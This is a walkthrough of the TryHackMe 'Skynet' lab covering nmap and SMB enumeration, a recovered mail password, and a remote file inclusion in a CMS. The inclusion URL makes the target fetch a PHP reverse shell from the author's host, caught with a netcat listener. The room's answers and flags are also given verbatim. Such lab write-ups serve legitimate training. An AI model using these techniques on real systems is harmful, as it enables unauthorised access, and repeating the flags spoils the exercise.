Skynet

This is my write-up for the machine on TryHackMe known as Skynet: https://tryhackme.com/room/vulnnetroasted

I start off by a running an nmap scan:

sudo nmap -T4 -A -vv -sS -p- 10.10.224.214 -oN nmap_skynet.txt

The results I get are the following:

# Nmap 7.91 scan initiated Mon Sep  6 15:37:11 2021 as: nmap -T4 -A -vv -sS -p- -oN nmap_skynet.txt 10.10.224.214
Increasing send delay for 10.10.224.214 from 5 to 10 due to 11 out of 21 dropped probes since last increase.
Warning: 10.10.224.214 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.224.214
Host is up, received reset ttl 61 (0.098s latency).
Scanned at 2021-09-06 15:37:11 EDT for 927s
Not shown: 65525 closed ports
Reason: 65525 resets
PORT      STATE    SERVICE     REASON         VERSION
22/tcp    open     ssh         syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKeTyrvAfbRB4onlz23fmgH5DPnSz07voOYaVMKPx5bT62zn7eZzecIVvfp5LBCetcOyiw2Yhocs0oO1/RZSqXlwTVzRNKzznG4WTPtkvD7ws/4tv2cAGy1lzRy9b+361HHIXT8GNteq2mU+boz3kdZiiZHIml4oSGhI+/+IuSMl5clB5/FzKJ+mfmu4MRS8iahHlTciFlCpmQvoQFTA5s2PyzDHM6XjDYH1N3Euhk4xz44Xpo1hUZnu+P975/GadIkhr/Y0N5Sev+Kgso241/v0GQ2lKrYz3RPgmNv93AIQ4t3i3P6qDnta/06bfYDSEEJXaON+A9SCpk2YSrj4A7
|   256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0UWS0x1ZsOGo510tgfVbNVhdE5LkzA4SWDW/5UjDumVQ7zIyWdstNAm+lkpZ23Iz3t8joaLcfs8nYCpMGa/xk=
|   256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICHVctcvlD2YZ4mLdmUlSwY8Ro0hCDMKGqZ2+DuI0KFQ
80/tcp    open     http        syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp   open     pop3        syn-ack ttl 61 Dovecot pop3d
|_pop3-capabilities: TOP SASL UIDL CAPA AUTH-RESP-CODE PIPELINING RESP-CODES
139/tcp   open     netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open     imap        syn-ack ttl 61 Dovecot imapd
|_imap-capabilities: capabilities have IMAP4rev1 post-login SASL-IR listed more Pre-login LOGIN-REFERRALS LOGINDISABLEDA0001 ENABLE OK ID LITERAL+ IDLE
445/tcp   open     netbios-ssn syn-ack ttl 61 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8851/tcp  filtered unknown     no-response
24495/tcp filtered unknown     no-response
31760/tcp filtered unknown     no-response
43412/tcp filtered unknown     no-response
<Redacted extra info>

Going to the website, I see:

I then ran feroxbuster on the IP address:

This resulted in:

One of the links led me to a site:

I then viewed the hint for the first question:

I then realized I will have to go with this route first. Looking back at the nmap scan, we see that port 445 seems to be for Samba. Using enum4linux, I saw the following shares:

I also got the following users using enum4linux:

The enum4linux information is verified by smbmap:

There seems to be read access to they anonymous disk. Using smbclient I was able to see a couple files:

There was also a directory called logs:

I downloaded all of those files to my local machine using "mget *". I viewed all of the downloaded files.

The log files seemed to contain passwords. I went back to the mail site and entered the username milesdyson and password cyborg007haloterminator and I got in:

What is Miles password for his emails? cyborg007haloterminator

There does seem to be another user here serenakogan. I kept that in my notes just for future reference. The email from skynet@skynet seemed to have some interesting information in it:

Using that password, I was able to log into miles' samba share:

In the notes directory, I found a file called important.txt. In it it contained the following information:

This points us to the answer for our next question.

What is the hidden directory? /45kra24zxs28v3yd

What is the vulnerability called when you can include a remote file for malicious purposes? remote file inclusion

Visiting that directory online leads to a new page:

I then ran feroxbuster again on this directory leading to the following results:

I then found this site using the link of http://10.10.224.214/45kra24zxs28v3yd/administrator/:

Using searchsploit, I then realized that there was a exploit for this CMS, and it is Remote File Inclusion!

I then copied that file locally running:

I noticed a person on https://www.hackingarticles.in/hack-the-w1r3s-inc-vm-ctf-challenge/ using the same vulnerability but using curl. I modified their command to work with my situation:

This did give me a result:

...but not something too helpful. I tried this for /etc/shadow as well, but it did not seem to work. I then viewed the exploit once more and tried running the following:

I then got an output!

If you decode the whole string using Base64, you get the following:

Here, we can see the username and password. I looked back at the nmap scan and realized that port 22 (SSH) is open. Maybe this is a password for that. It was not. After I was stuck for a while, I viewed the writeup here, and realized that I have to access the file using the URL. For that, I found the php-reverse-shell file, and then edited the IP address and port number. I then ran two commands on two different terminals:

I was able to get a reverse shell after visiting http://10.10.224.214/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.2.54.229/hello.php (hello.php is what I renamed my php reverse shell to):

I was able to move around and find the user flag:

What is the user flag? 7ce5c2109a40f958099283600a9ae807

I then had the user file. I then had to get the root file. I referenced the same write-up mentioned above to see what they did for this. The author ends up using https://gtfobins.github.io/gtfobins/tar/#shell in order to get a root shell. I was again lost, and ended up finding the write-up at this page, and they ran the following commands:

You then run rlwrap nc -nvlp 443 in order to wait for the crobjob to run**:**

You then get the root flag.

What is the root flag? 3f0372db24753accc7179a282cd6a949

Last updated